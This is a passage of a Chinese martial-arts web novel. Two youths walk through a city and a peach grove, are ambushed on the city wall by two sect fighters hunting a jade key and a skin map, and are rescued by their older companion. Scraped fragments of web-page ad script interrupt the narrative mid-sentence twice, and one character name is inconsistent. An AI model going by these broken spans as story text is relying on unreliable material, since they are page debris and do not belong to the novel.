这抹身影的主人长着一张秀美的脸儿,穿戴整齐,正居高临下地望着他。 雨馀凉从恍惚状态中一下惊醒,赶忙坐起身来。这才想起昨晚自己和一个女孩子在一间房中共同待了一夜。 鱼晚衣倒不怎么局促,对雨馀凉道了一声:“早。” 雨馀凉道:“鱼姑娘早。” 鱼晚衣见雨馀凉醒了,步至窗前,将窗户打开,外面的声音一下窜进房中,比先前大了许多。金黄色的朝阳也照射进房内,这是一个充满了勃勃生气的清晨。 雨馀凉见鱼晚衣已能四处走动,问道:“鱼姑娘好些了?” 鱼晚衣道:“嗯,休整了一晚,身上恢复得竟和没受伤时差不多了。” 雨馀凉笑道:“那可太好了。” 鱼晚衣等雨馀凉收拾完,两人一同去到大堂中吃早饭。本来雨馀凉是打算让鱼晚衣就待在房间里,自己把早点带回来吃。但鱼晚衣说自己既已恢复,便不消再麻烦雨馀凉。二人来到大堂中时,雨馀凉眼前一亮,见靠窗的一张桌子前,木姜已坐在那里,正拿着一个煮鸡蛋就着豆浆吃着。 雨馀凉向鱼晚衣招招手,快步向木姜走去,道:“木前辈。” 木姜抬头,见是雨馀凉及鱼晚衣,笑道:“馀凉,姑娘,两位早!快来坐。”说着拉开左首椅子, 雨馀凉接过手去将椅子拉开,又将自己左首、木姜对面的椅子拉开,对鱼晚衣道:“鱼姑娘,坐!”鱼晚衣也坐了。 于是又要了些豆浆鸡蛋、烧卖馒头,三人一边吃,一边闲聊几句。 木姜注意到,鱼晚衣一直在有意无意四处张望。 鱼晚衣和雨木两人,尤其是木姜,都不熟,再加上双方立场微妙,一时颇有些话不投机半句多。鱼晚衣吃了一些东西后,就要告辞回房间去了。木姜和雨馀凉挽留了几句,见鱼晚衣坚持,也就由她去了。 雨馀凉和木姜吃完后,两人在大堂里闲闲坐着。 木姜道:“这位鱼姑娘应该已经在打算着走了。” 雨馀凉道:“走?” 木姜道:“离开我们,各走各的。她大概还有事急着要去做。” 雨馀凉道:“木前辈如何得知?” 木姜道:“方才吃饭时,她游目四顾,应当是在看周围有没有追兵的身影。这之后她也许会扩大观察的范围,比如再到客栈四周、附近几条街看看,如果确定安全,她就会动身了。” 雨馀凉垂下眼看着桌面。 木姜又道:“小子昨晚还算规矩。” 雨馀凉眼睛睁大,抬头看向木姜,脸上渐次发起烫来,道:“木……木前辈,你……难道你昨晚……” 难道他和鱼晚衣昨晚的一举一动都被木姜暗中看在眼里? 木姜笑道:“我可没看你们一整宿,只瞄了几眼,没过多久就回去睡了。” 雨馀凉抓抓后脑勺道:“难不成木前辈认为我会对鱼姑娘有什么出格之举?在暗处保护鱼姑娘?” 木姜微微一笑,道:“是有这个考虑,不过我同时也是在保护你,防范鱼姑娘对你也做出什么出格之举。” 雨馀凉奇道:“我有什么好保护的?再说……鱼姑娘又怎会对我做出什么,什么出格之举了?” 木姜正色道:“可别小看了这位姑娘,照我看来,她的身手比你高出不少。我们昨日下午虽看上去相安无事,但那位鱼晚衣姑娘的立场不明,万一她半夜突然想起什么,觉得你这个人留不得,把你剁了也不是没有可能。” 雨馀凉这才明白,木姜所说的出格之举,不是那种事,而是江湖上伤人杀人的事。 他觉得木姜说的有些道理,但又想到自己昨晚才和鱼晚衣一起吃了晚饭,他二人能聊的虽然不多,但奇怪的是气氛甚是融洽,难道鱼晚衣真会这么绝情,二话不说就将自己杀了吗? 雨馀凉突然对木姜道:“木前辈,原来你是在考验我。” 木姜道:“啊?” 雨馀凉道:“我跟鱼姑娘到底男女有别,昨儿你却主动说让我跟鱼姑娘住一间房,一直到晚上也没在这方面叮咛嘱咐一句,似乎对我放心极了,晚上却暗中注意着我们的举动,难道不是存了考验我的心思?” 木姜拊掌笑道:“倒也是你说的这个意思。我生平第一次教人武功,可不能教给一个人面兽心的东西,这不是叫他有了害人的本钱?若你真是那样的人,我就及时止损。好在小子正气,没干出什么腌臜事来。” 木姜又望着窗外天空出了会神,忽然双眉一竖,对雨馀凉道:“我教你武功,你以后若凭此去欺侮人,我打断你双腿!” 雨馀凉想,欺侮别人?这种事他从来没想过,他从来都只有被人欺负的份。 于是对木姜道:“不会的,我平生最恨欺侮他人的人,又怎会跟他们一样!” 这句话是雨馀凉心声。经过一个月的相处,雨馀凉在木姜面前逐渐自然从容起来,没有一开始那么紧绷了。况且同行这一个月,木姜教他武功,却一次都没有对他发过脾气。就木姜这个性格,雨馀凉也不大相信木姜会打断自己的腿。 晌午之后,雨馀凉见鱼晚衣出门。鱼晚衣的说法是,她要去街上逛逛。 雨馀凉心道:“果然如木前辈所说,她要到客栈外面去查看追兵的情况了。”心想鱼晚衣一个人,又是大伤初愈,假设遇到了什么危险就那就不好,脱口便道:“鱼姑娘,如果你不介意,可否让我与你同去?我是第一次来敛安,敛安城内到底怎样,我还没见过呢。”他说这话,一来是想照看鱼晚衣,二来是真的想出去透透气,看看敛安风物。 鱼晚衣看了他片刻,点头同意了。 这季节最是适合逛街,夏天太热太晒,连门都不愿意出;冬天像这样在屋外慢慢地走,会冻得人直跳脚。眼下春风和煦,春日和暖,就这样在街道上闲闲踱步,实在是怎样都舒服。 雨馀凉见鱼晚衣果然一边走着,一边环顾四周。但她表现得很隐蔽,十分自然地将这些左看右看的动作融入了看街道两边商铺或小摊摆出的物品中。若不是姬花青早上跟他提起,现在这会他也看不出来。 鱼晚衣时不时走到一处摊位前,将摊上摆的小东小西拿起来看,不同的小摊卖的东西不同,有的是小腰挂,有的是簪子通草花一类,还有的是小孩玩的布老虎。每当他们走到一处摊位,小贩都会十分热情地迎上来,先是夸鱼晚衣“姑娘好眼力!”,相中的都是他们摆出来的上品,然后对自己的货品自卖自夸一番,比如:用的是来自水西或水东哪里哪里的材料。最后一个劲儿地道:“姑娘,拿一个?” 但雨馀凉注意到,鱼晚衣眼睛看的根本就不是她手上拿的那些东西,而是越过摊位看向前方。鱼晚衣对小贩的滔滔不绝也置若罔闻,雨馀凉甚至觉得让鱼晚衣重复小贩刚刚凑在她面前说的一句话,她都做不到。 因为她的心思根本不在这。 这时就有小贩敏锐注意到鱼晚衣身后站着的雨馀凉,忙叫雨馀凉:“小哥,这就是你的不是了,特意出来逛,怎么一样东西都不给姑娘买?” 这,这是把他和鱼晚衣当成一对了。 雨馀凉有些窘迫,觉得要反驳的地方太多,竟一时不知从哪里反驳。 鱼晚衣突然道:“我想要什么,我自会付钱的,用不着别人给我买。” 鱼晚衣将手中的扇坠放下,转头对雨馀凉道:“雨少侠,走吧。” 又走了一段路后,雨馀凉终于说出了口:“你不累么?” 鱼晚衣看向雨馀凉,眉头微皱,道:“什么?” 雨馀凉道:“鱼姑娘,你说是出来逛街,其实一时一刻都没放松。你在看周围有没有追杀你的人,是不是?鱼姑娘,你看起来跟我差不多年纪,却这么辛苦,你……你是为了什么才做到现在这个地步?鱼姑娘,请恕我冒昧问你这些……” 鱼晚衣看向前方,道:“没办法,有些事,就该是我做的。我等不到一个能做这些事的人出现了,所以干脆自己来。”说完对雨馀凉笑了一下。 雨馀凉将那些萦绕在心头很久的疑问一股脑儿地倒了出来,问出口后才觉得自己冒昧。 他甚至担心:她会不会生气? 想象中的发怒情景没有出现,鱼晚衣反而是这样平静而不失温和地回答了雨馀凉的问题。 雨馀凉的心本在下沉,然而鱼晚衣平和的态度让他受到了抚慰。 雨馀凉一开始相救鱼晚衣,只是因为大较前的那次偶遇,他心中对鱼晚衣存了莫名的感念,但鱼晚衣身上所隐藏的秘密又让他对其有所保留。直到现在,雨馀凉察觉了这个女孩的温暖包容并真心实意地被感动了。 虽然他和鱼晚衣只是萍水相逢,相处之间也不乏试探与隐瞒。他们之间有那么多不可说,但雨馀凉仍感受到,抛却这些身份的鱼晚衣,本身是个多么大气通达的人。 这种包容直率豁达,跟木姜的隐忍精明完全不同。 鱼晚衣道:“你要我恕你冒昧,我也要你恕我冒昧。这个问题,是我自己想问,跟我的任务没有一点关系,你还记得昨天我跟你说的吗?今天也是一样,你可以选择不答,没关系。” 雨馀凉道:“姑娘请问。”语气很是柔和。 鱼晚衣道:“那位木前辈,是你师父么?” 雨馀凉道:“不能算是。” 鱼晚衣对这个回答产生了好奇,道:“昨日闲聊,听你提了几句他在教你武功,我还以为他收了你做徒弟。” 昨日晚饭后闲聊,雨馀凉把自己和木姜是怎么走在一块的,都跟鱼晚衣说了。 雨馀凉道:“他答应教我武功,却不让我把他当师父,师徒之间的礼节也不让叙。” 鱼晚衣食指点在下颌,看着上方道:“都把吃饭的本事教了,却不让别人成为徒弟来伺候自己?嗯……倒真是个有个性的人。不过武林之大,什么样的奇人奇事都有。”她又吐吐舌头,“怪不得你只叫他前辈而不是师父。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 雨馀凉点头道:“正是为此了。” 鱼晚衣又道:“你爷爷他,怎会突然离世?” 自从昨日听到雨馀凉说起这个消息,鱼晚衣就极好奇雨休去世的原因。但又怕刺激到雨馀凉让他伤心,她便生生将自己的好奇按了下去。 但此刻鱼晚衣只想以一个普通人的立场关心一下失去亲人的雨馀凉,而不是聊氏九歌的山鬼。 但话一说完,她便想到,雨休的死可能跟夏篁有关,而牵扯到夏篁,又怎能说跟她的任务没有关系?一时间有些悔恨自己的失言,又有些担心雨馀凉对她产生误解。 雨馀凉微微扬头,看向远处道:“我爷爷是被谷州刀派的奸人所害,如今我武功不济,无力找他报仇,但总有一天,我会去找他。” 鱼晚衣听罢暗暗心惊,她一直以为是夏篁雨休盟友内讧,雨休是为夏篁所杀,不想杀死雨休的竟是谷州刀派的人。 不过通过大较那日的观察,再加上自己和河伯打探雨氏爷孙消息时谷州刀派诸人的态度,鱼晚衣察觉到,这对爷孙在谷州刀派确实不大受欢迎,只是她没想到已经到了杀人夺命的地步。 当然,也不排除雨休是被谷州刀派当做叛徒清理掉的可能。 鱼晚衣想来想去,觉得世事总是繁杂,不知何日是尽头?不由得在心中长叹。她迟疑半晌,最终还是伸出手,轻轻搭在雨馀凉上臂。 雨馀凉身子一震,转头看向鱼晚衣。 鱼晚衣也看着他,神情中满是安慰。 此时二人经过一处卖风筝的地方,两旁的竹架上挂满了五彩斑斓的风筝,阳光透过风筝照过来,世界仿佛都变成了五光十色的。 雨馀凉和鱼晚衣都不再说话,只睁眼饱览着眼前异常绚烂的景象,似乎各怀心事。 到了傍晚,雨馀凉抬头望着漫天红霞,再低下头时,发现自己和鱼晚衣不知不觉间已经走到了城门附近。 城门仍大开着,雨馀凉和鱼晚衣远远看见城门外人来人往。 城门外显出一片粉红之色,雨馀凉忽然想起什么,有些兴奋道:“听说敛安东城门外有一片桃花林,十分有名。” 鱼晚衣本想再在城内走走就回客栈,听到雨馀凉所说,想:“既然已经来到这,我何不干脆再到城外看看,若也没什么异样,岂不让人更加放心?”遂道:“你想去看看吗?” 雨馀凉道:“啊?我都可以,如果鱼姑娘想去看的话……” 鱼晚衣笑道:“走啊。” 二人一出城门,都被眼前的景象所震撼。 真是好大一片桃花林! 漫天匝地的粉红花海,举目望去,根本看不到尽头。此刻夕阳晚照,桃花林中的灯也都点了起来,橘黄色的落日余晖和灯光与桃花交相辉映,一时间暖意融融。一朵朵桃花颤巍巍、俏生生,犹似烟霞堆砌枝头。地上铺了不少桃花花瓣,似是铺了一张粉红色的地毯。 桃花林中游人众多,这些游人中固然有吟诗作画的文人雅士,同时也有武林中人。有人在这里设了比武擂台,武人在桃花林中切磋,激得桃瓣落英纷纷飞扬,为比武这种在文人看来有些粗暴的活动平添了几分肃杀的美感。甚至有文士打扮的人就站在擂台边,铺开宣纸,对着正在比武的武人挥毫泼墨。 鱼晚衣出城门本来并不为欣赏桃花,此刻却也有些沉醉在这美景之中。 雨鱼二人边走边聊,走了很久,都还没走完这片桃林。 雨馀凉道:“鱼姑娘可否说说现在在做怎样的事?我知道姑娘不能告诉我具体的情况,那么是什么样类型的事呢?这个可以说么?” 鱼晚衣沉吟一阵,抬头看向雨馀凉道:“雨少侠,你可还记得我们在谷州府第一次见面时,你对我说的一句话?” 雨馀凉心中一动,那天他说了很多句话,于是问道:“不知鱼姑娘指的是哪一句?” 鱼晚衣突然狡黠地笑了,这样狡黠的笑容出现在她娇美的脸蛋上,让雨馀凉看得心动。鱼晚衣眨眨眼,道:“你猜?” 雨馀凉无奈又好笑道:“这怎么猜得到?你这是为难我。” 鱼晚衣看着他,噗嗤一声笑了,道:“我很喜欢你这句话呢,比那天你说的任何一句话都要喜欢。” 雨馀凉越发好奇了,也真想不起来那天他到底说了什么话,能让鱼晚衣如此评价。 鱼晚衣背着手走在他前面,道:“以后若有缘再见,到那时我再告诉你。” 她突然回头,微笑着对雨馀凉道:“你想做什么事,一定要坚持做下去啊。” 她本就俏丽的脸庞在橙黄灯火以及云蒸霞蔚的桃花共同映照之下,越发显得娇艳无比,让雨馀凉忽然就想起“人面桃花相映红”这句诗来。 然而比她的容颜更动人的是她的眼睛。 此刻这双好像会说话的眼睛正看着雨馀凉,眼睛里闪烁着流光溢彩。 直到很多年后,雨馀凉都觉得这是他这辈子见过的最美好的笑容。随着时间的推移,那笑容具体是什么样的,他的记忆已经模糊不清了,但那种内心震撼与悸动的感觉,就如同烙印一般印在他的脑海,无论怎样都不会忘记。 29. 围猎(一) 夜幕完全降临,天空也由傍晚的宝蓝变成了沉郁的墨蓝色。 雨馀凉和鱼晚衣依旧在城外散步,没有回客栈。 看完那样的桃林美景后,不知为何,雨馀凉感到一种莫名的情绪,他很高兴很高兴,竟舍不得让这段时光结束。 鱼晚衣也有些激动,心中所想竟和雨馀凉有九分相近。 从桃花林出来,二人越走越远。心照不宣一般,谁也没提回客栈的事。 这是个晴朗的夜晚,天空中星星极多,城外不像城里,没有灯光,所以那些星星也都格外醒目。 雨馀凉和鱼晚衣走了很久,也聊了很多,仍有些意犹未尽,最后还是雨馀凉提出时候不早,该回去了。 两人没有原路返回,而是绕了一个大弯,打算从另一座城门回到城里。 这一路鱼晚衣都没发现什么异常,心想那些人大概不在附近,她便明天一早就离开,尽快找到河伯并与其会合。 来到敛安城城墙边上时,雨馀凉道:“现在城门应该已经关了。” 鱼晚衣捂嘴笑道:“雨少侠,难道你还想从城门进城?” 雨馀凉明白鱼晚衣的意思,这些武林人士,向来不爱走门。 城墙脚下,鱼晚衣略微歪着头,看向雨馀凉笑道:“你可以么?需要我帮忙吗?” 雨馀凉脸耳朵有些红了,幸好这是黑夜,看不真切。他道:“说这么多做什么?快跳。” 鱼晚衣轻笑两声,自己率先足尖一抵,踏上了垂直的墙面。 这是雨馀凉第一次见到鱼晚衣使出功夫来。只见这少女的轻功姿态优美,仙气凌然,与谷州刀派传授的轻功相比,又大是一番不同的气象。 她身着颜色极浅淡的鹅黄色道袍,外罩白色纱衣,只领口和袖口有水红色镶边,如此使开轻功纵跃,黑夜中看去,便似一朵白云冉冉飘上城墙。 不过片刻,鱼晚衣轻轻巧巧一个翻身,便已飘然落在了最上方的女墙之上。鱼晚衣向下望着雨馀凉,示意他也赶快上来。 雨馀凉心中有些忐忑,不知道以自己的轻功能否顺利登上城墙,他不想在鱼晚衣面前丢脸,何况自己方才已经嘴硬拒绝了鱼晚衣提出的帮助。雨馀凉提起一股真气聚在丹田,向上一纵,竟跃上了自己意想不到的高度。他先是一愣,随即心中一喜,想是这一个月来木姜教他的修炼内功的法门起了成效,在这内功的加持下,自己这一跃竟比从前高出了不少。 就在雨馀凉身在半空心中暗喜之时,突然看见一道灰影从眼前闪过。他本以为是自己眼花或产生了错觉,不想下一刻眼角余光便瞥见鱼晚衣没有任何征兆地向左弹出。 雨馀凉转头看去,只见鱼晚衣啪的一声落在墙头另一处,再抬起头时,满脸都是惊恐之色。 此时雨馀凉也差不多够到了女墙,只不过还略微差着几尺,他伸出手臂把住垛口,这才借力翻上了城墙。然而眼下的形势,无论是他自己,还是旁人,都不再关心他这轻功使得怎么样了。 一名灰衣人站在雨馀凉和鱼晚衣之间。 灰衣人道:“先前我们还以为你死了,连我和老三都骗了去,嘿,真是个人精。” 鱼晚衣只如临大敌地看着那灰衣人,嘴唇紧抿,并不说话。 雨馀凉见状,道:“敢问阁下是哪路英雄?有何贵干?” 灰衣人闻声,慢慢转过身来,看了雨馀凉几眼,又把头转了回去。 雨馀凉见他不理会自己,有些感到难堪。 那灰衣人一开始是背对雨馀凉站着,回过头后,雨馀凉才发觉他是个四十来岁的中年汉子,只不过他身姿挺拔矫健,头发完全没有花白,光看背影,倒像是二三十岁。 这时一道声音幽幽地传来:“老四,这回可得仔细些,别再被这丫头使障眼法耍了。” 雨馀凉听见声音心下一惊,循声抬头望去,只见角楼屋檐之上还站着一人。那人双臂抱在胸前,月光从他身后照来,他打了个哈欠,居高临下地看着鱼晚衣,道:“赶紧处理干净了好回去交差,妈的,这种千里迢迢找人的事下次再派给老子,老子就……” 那中年汉子笑道:“就怎样?老三你也只敢在嘴上逞凶斗狠,真到了他面前,屁都不敢放一个。下次再派给你这样的事,你还不是屁颠屁颠出去?” 那人又骂了一声“妈的”,也纵身跳了下来,站在灰衣汉子旁边。这人看上去倒年轻些,约莫三十岁的样子。 雨馀凉觉得奇怪,怎么年老的叫年轻的老三,年轻的反倒叫年老的老四? 那年轻一些的汉子对鱼晚衣道:“小丫头,我劝你乖乖的,自己给自己一个了断,别再搞龟息闭气假死那一套,你知不知道你给我们添了多少事?我们干了更多的活,俸禄却一点都不添,到手还是那么点银子,除去每月房租买菜烧柴他妈的还剩多少?妈的,老子早晚不干了。” 鱼晚衣忽越过这二人看向雨馀凉道:“雨少侠,他们……是来找我的,你……你快走吧。”连她自己都没察觉,自己的语声已微微颤抖。 雨馀凉心中一凛,难道就是先前追杀鱼晚衣并将她打伤的,就是这两个人? 年轻一些的汉子道:“这话倒是不错,小子要走赶紧走,一会动起手来,刀枪无眼,在你身上戳几个透明窟窿。” 老中年汉子道:“连老三,你装什么蒜?你杀的人还少吗?在这装什么菩萨?杀了就杀了,少一个人看见,少生出一些事端。” 鱼晚衣朗声道:“沧阆派的二位前辈,‘沧阆四绝’在江湖上鼎鼎大名,想来是不会欺侮一个武功远低于自己的无辜后生的,否则岂不是对二位名誉有损?” 原来这中年汉子和年轻一些的汉子都是水西沧阆派的成名高手,中年汉子名叫万克礼,年轻一些的名叫连江,这二人与另外两人并称为沧阆派的“沧阆四绝”。“沧阆四绝”是沧阆派除掌门外武功最强的四人,在水西武林名气颇大。万克礼在沧阆四绝中排行老四,而连江虽比万克礼年纪轻,在四人中却排第三。 鱼晚衣这样说,是为了激得这二人不对雨馀凉出手。 万克礼倒还真被鱼晚衣这番说辞说动了,对鱼晚衣道:“你不必担心,我们的目标从始至终只有你。至于旁的人么,只要他不妨碍我们,随他去。怎么样?你是自己了断还是等我们动手?” 鱼晚衣不说话,也没有动作。 连江道:“那就是等我们帮忙了。”说着一边向鱼晚衣走近,一边反手慢慢抽出背上长剑。 雨馀凉大声道:“等一下!”语声刚落,便跃至连江和鱼晚衣之间。 连江停下脚步,看着雨馀凉,面色不善道:“听不懂人话是不是?我再说一遍,小子走开,这没你的事。” 鱼晚衣在雨馀凉身后也叫道:“雨少侠,你快走!”这两个人,她都应付不来,就是邢勘在这说不定也不是他们的对手,雨馀凉硬要留下,岂不是自寻死路? 雨馀凉背对鱼晚衣,看向连江和万克礼道:“鱼姑娘,这种情形下,我岂能丢下你独自逃命?” 鱼晚衣一愣,随后道:“别傻了,你留在这里,只能白白送命。” 雨馀凉心里知道,他和鱼晚衣不过是极浅的交情,实在没有理由为了对方拼命。但要让他把一个女子一个人丢在要害她的两个男子前,自己逃命,雨馀凉说什么也做不到。 他不是不清楚自己还有别的事要去做,比如寻找自己的身世。可若是为了眼下活命,就做出此等懦夫行径,就算找到了自己的身世又如何呢? 雨馀凉打定了主意,心中一横,对连江和万克礼二人道:“要伤这位姑娘性命,先问问我手中刀答不答应!”说着刷的一声拔出了背上长刀。这两人很强,战局越拖越不利,于是雨馀凉打算攻对方个出其不意,最好一招解决。他没给连江反应的时间,刚把刀拔出来,刀锋一转,便径取连江胸口。 雨馀凉握刀直贯,一来就用上了十成的力气。只见眼前黑影闪动,连江似是忽然消失了。雨馀凉一惊,蓦地听见一声冷笑,紧接着他后背剧痛,身子竟轻轻飘飘地腾空飞起,下一刻便重重摔在地上。原来是方才连江以诡异身法绕至雨馀凉身后,再曲肘往后击中雨馀凉背心。这一下力道极大,雨馀凉趴在地上,不住咳呛,只觉脊骨似被撞断。 鱼晚衣惊呼一声,叫道:“雨少侠!” 连江回头看着地上的雨馀凉,嗤道:“就这水平还英雄救美哪。”鱼晚衣眼见他不备,以迅雷不及掩耳之势取出一枚银针向连江掷去。连江 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没有回头,手指一抬,便将那枚银针打落在地,银针落在城墙砖石上,发出一声极细微的声响。 连江将那枚飞针打落后,这才慢慢转过头来看向鱼晚衣,道:“你急什么?懂不懂一个个来的道理?” 连江身后的万克礼突然“咦”了一声,对连江叫道:“老三!” 连江看着鱼晚衣,略微侧头道:“何事?” 万克礼从怀中掏出了一个什么东西,道:“你快来看!” 连江听他语气急迫而郑重,最后看了鱼晚衣一眼,接着纵跃过去,往万克礼手上一看,不由得惊道:“玉钥匙就在附近?玉铃为什么不响?难道说……人皮图也……” 万克礼道:“方才那小子上城墙后玉铃就有微微震动,起初我没留意,现在他离我们更近了些,这铃竟震得如此厉害。”说着看向了尚还起不来身的雨馀凉。 鱼晚衣心想:“玉铃?那是什么东西?”只见万克礼手心捧着一个小儿拳头大的铃铛,或者说,铃铛形的物什。因为那铃铛只是不住震动,并不发出声响。 一阵夜风吹来,将四人的衣衫微微带起。 连江道:“小子,先开始让你走你不走,这下露了富,可不好收场了。交出玉钥匙和人皮图,我们饶你一命。” 雨馀凉被连江一记肘击撞得跌扑在地,脑袋昏昏沉沉,只模模糊糊听到方才他们说了一大堆话,但说的是什么,一句也没从脑子里过。这时听连江跟他说话,只懵懂道:“玉钥匙?人皮图?我听不懂你在,咳咳,在说什么。” 连江上前两步,蹲在雨馀凉跟前,道:“小子,别装傻,玉铃是不会骗人的。就你这样的武功,还敢揣着这两件宝贝在江湖上乱走哪?两位大爷心善,只要你乖乖把东西交出来,饶你一命。要是遇上了别人,多半就是杀人夺宝,你可没这么好运了。” 雨馀凉抬头望着连江,道:“……我不知道你在说什么?”他将头抬起来时,猛然感到一股腥甜漫上喉头,紧接着又是一阵大咳特咳。雨馀凉感到嘴角痒痒的,下意识地伸手去挠,只觉触指处一阵滑溜,雨馀凉举起手看去,见食中两指指尖殷红一片,心中一愕,这才意识到自己吐了血。 雨馀凉从小到大都没收过这么重的伤。 连江脸色变得极其冷淡,眼珠向下看着雨馀凉,站起身道:“既如此,只能将你杀了后,再搜你的尸体了。” 这两人的目标本来是鱼晚衣,可不知由于什么原因,现在雨馀凉似乎成了比鱼晚衣更优先的目标对象。 鱼晚衣被晾在一边,她本可以趁这个机会逃走,但同样不知为何,她没有动。在连江倒提长剑就要向雨馀凉刺去时,鱼晚衣又射出了两枚银针。 连江察觉到动静,举起长剑连挥两次,只听叮叮两声,两枚飞针一一被他弹开。倏地他眼前出现一团白影,原来是鱼晚衣在掷出银针后紧接着便飞身来到连江身前,连江立即回剑封挡,鱼晚衣的三棱钢刺在离他胸口三寸处被挡了下来。 连江喝道:“滚!”抬腿横扫,膝盖刚好顶在鱼晚衣侧腰,鱼晚衣身子飞出,摔在墙角,再爬不起身。 雨馀凉挣扎着想要起身,可他一使力气,躯体便撕心裂肺地痛,同时又有血似要从嘴里呕出,但眼下形势,他若不拼命,自己和鱼晚衣的人生都要到此为止。 他一死,身世真相,爷爷的仇……便都成了天边浮云了。 突然一股强烈的不甘涌上心头,雨馀凉紧咬牙关,硬是摇晃着从地上爬了起来,他刚完全站起,眼前就一阵阵发黑,视野时而清晰时而模糊,同时更多的血从他的嘴里一路路冒出,汇聚在他的下颌处,一滴滴落在地上。 光是站起来就几乎用光了他所有的力气,雨馀凉双腿不住颤抖,倒不是因为惧怕——他现在已经无暇恐惧,而是因为双腿酸软无力。雨馀凉上肢的力气似乎也被抽干,他拼尽全力,才让手中的刀不至于落在地上。 他上一次这么虚是什么时候?他有过这么虚的时候吗?雨馀凉只觉得小时候发高烧都比现在有力气。 万克礼看着雨馀凉颤抖的刀尖,道:“赶紧解决了,早点回去。” 连江道:“我也是这么想的。”他举起手中的剑,剑刃映着月光,在雨馀凉看来竟有些刺眼。 30. 围猎(二) 忽然有什么东西破空的声响传来,连江是武林成名高手,内力修为自然不可小觑,因此听力非同小可。他刚说了个:“什……”就觉一股大力击上了自己剑刃。 连江用了些力气持定,剑才没有脱手,但身子还是被带得转向了另一侧。他本来没打算弄清楚打中自己剑刃的是什么东西,只随意往地下瞟了一眼,结果借着月光刚好看到数步外有一块碎瓦片,一旁还有零零碎碎几小块瓦片残块。 那瓦片的势道顺着长剑传到连江握剑的手上,连江只觉手腕处一阵疼痛,他左手握住右腕,和万克礼异口同声喝问道:“谁?” 一阵风呼呼吹过,四下里漆黑一片,无人应答。 连江和万克礼向四周张望,一道黑影便在这时悄无声息地从上方落下,那道黑影落到连江头顶上方时,连江察觉到了什么,举剑横在头顶,须臾之间,兵刃相撞的声音传来,黑夜中一刀一剑击出几星火花。那黑影借连江招格之力在半空中轻轻翻了个身,哒的一声落在丈余外。 雨馀凉恍惚间看清来人,心中大喜,叫道:“木前……咳咳……咳咳……” 来人正是木姜。 原来木姜见雨馀凉和鱼晚衣迟迟未归,脑海中虽闪过了不好的念头,但也还是觉得自己想多了,年轻人玩性大,两人一时忘了时间也正常,便没有出来寻找。直到三更更鼓敲响,那之后又过了很久,木姜仍未看见人回来,心里的不安越发强烈,便直接从客栈的窗户翻出寻找。 木姜飞身在屋檐间穿行,寻遍了敛安城的大街小巷都没见着二人的身影,寻思难道这两个人出城了?便向城墙的方向而去,临近城墙时,远远看见城墙一处似乎有人打斗。木姜心头一凛,忙展开轻功过去,一见之下,其中两人果然便是雨馀凉和鱼晚衣。只是鱼晚衣已经倒下,而雨馀凉虽然仍自站立,状况却十分不妙。眼见一人举剑就要向雨馀凉斫下,木姜忙揭下脚边屋檐的一块瓦片,用投掷暗器的手法挥臂掷出,瓦片打中连江剑刃。 连江这一惊虽然非同小可,却也并没有认为来了个多了不得的劲敌。他知道真正的高手发出的暗器是什么样,若对方是那样的高手,此刻剑应该已经被从自己手中击落,甚至被击飞到了城墙之下,而自己的手臂也应该软绵绵地提不起力气,但他只是被打中的那一下手腕感到些许疼痛,现在已经没什么大碍。 连江和万克礼几乎同时开口,“你是谁?”“你是谁?来干什么的?”自从发现雨馀凉身上有玉钥匙和人皮图后,连江和万克礼看到这些不速之客,第一反应都是:来人是不是来抢宝物的? 木姜心说这个问题我也想问。但他没有说话,走向连江和万克礼,经过雨馀凉身边时低声说道:“我拖住他们,你和鱼姑娘找机会走。” 雨馀凉想问“你怎么办?”但一来木姜实力强悍,他既这么说,那多半是没问题。二来此刻形势危急,不是磨磨唧唧的时候,便也没再多说。 木姜将刀从刀鞘拔出,直直就朝连江劈过去。连江谨慎,虽然判断出木姜不是什么特别厉害的高手,至少内功并不是很强,却也不掉以轻心,握紧了手中剑,当即和木姜一招一式过起招来。这连江身为“沧阆四绝”,确实不简单,他使出的每一招皆稳扎稳打,对木姜攻来的每一招也都踏踏实实地应付,该拆解拆解,该招格招格,绝无花俏的动作,与木姜令人眼花缭乱的刀法相比,显得气度沉郁,扎实稳重不少。 但渐渐地,连江便感到有些吃力了,不仅他自己越来越感到手忙脚乱,旁人也看了出来。万克礼见连江逐渐落于下风,右手一翻,掌心便多了一柄形如冰凌的匕首。木姜正准备拆解连江攻来的一招,忽听见脑后呼呼风响,知道对面另一人也下场了,手上动作登时凌厉起来,打算先解决了连江,再回头应付万克礼。 连江见木姜这一招来势汹汹,难撄其锋,当下更不拆解,只以灵巧身法避开。 若木姜要应付的只有连江一人,此刻已追击了过去,但身后尚有一个万克礼,他若接着过去对付连江,后背便持续暴露在另一个敌人面前。木姜这一刀虽然没能砍中连江,但好歹将其逼退,他调转刀尖,接着回身刺向万克礼。 万克礼疾速变招,手臂一侧,匕首贴着木姜的刀刃径取木姜肩头,同时连江也极快地调整了姿势,由退避变为直进,二人一前一后对木姜形成掎角之势。 木姜看了一眼万克礼的来招,又略微侧头瞄了眼连江的出招,只觉无论是连江的长剑还是万克礼的匕首,兵刃上蕴含的招式角度、方位都恰到好处,十分精妙,且暗含极多后着。不仅如此,这二人的招式,竟隐隐有相互补完相互配合的趋势。在极短的时间内分别拆解这二人的招数就已经不大容易,更何况还有更厉害的组合招法在后头,心念电转间,木姜已不敢贸然一味拆招了。 这是雨馀凉第一次看见木姜没有拆解敌人的招式而是选择了闪避。只见木姜横着翻转身子,万克礼的匕首和连江的长剑交叉着从他鼻尖擦过,木姜脚下一蹬,仰倒贴地远离了二人。接近女墙时,他一手撑地,翻身落在了女墙之上。 夜风吹过,带得木姜袍袖拂动,同时发丝也被吹得贴在脸上。他衣裳宽松,如此以脚尖立在女墙上,像是随时会被风吹走。 木姜冷冷看着连万二人,心想这两人倒也不简单,要打赢他们,须得费些力气。但说到底,这两人也不是来找自己的,又何必与他们结仇?思及此,便用余光去瞟雨馀凉和鱼晚衣。心里盘算:等两个小朋友走远后,自己就寻机摆脱这二人,倒不一定非要与他们拼个你死我活。 另一头,雨馀凉强行压下胸口翻涌的血气,忍住剧痛,将鱼晚衣扶起,转身就要离开。 万克礼见雨馀凉架着鱼晚衣要逃跑,追过去道:“哪里走?” 雨馀凉见万克礼鹞子扑雀似地前来,形势危急,哪里还能多想?提起一口气,背着鱼晚衣施展轻功跃下城墙。他本来是要带着鱼晚衣往城内走,情急之下,竟是跳下了城外一侧。 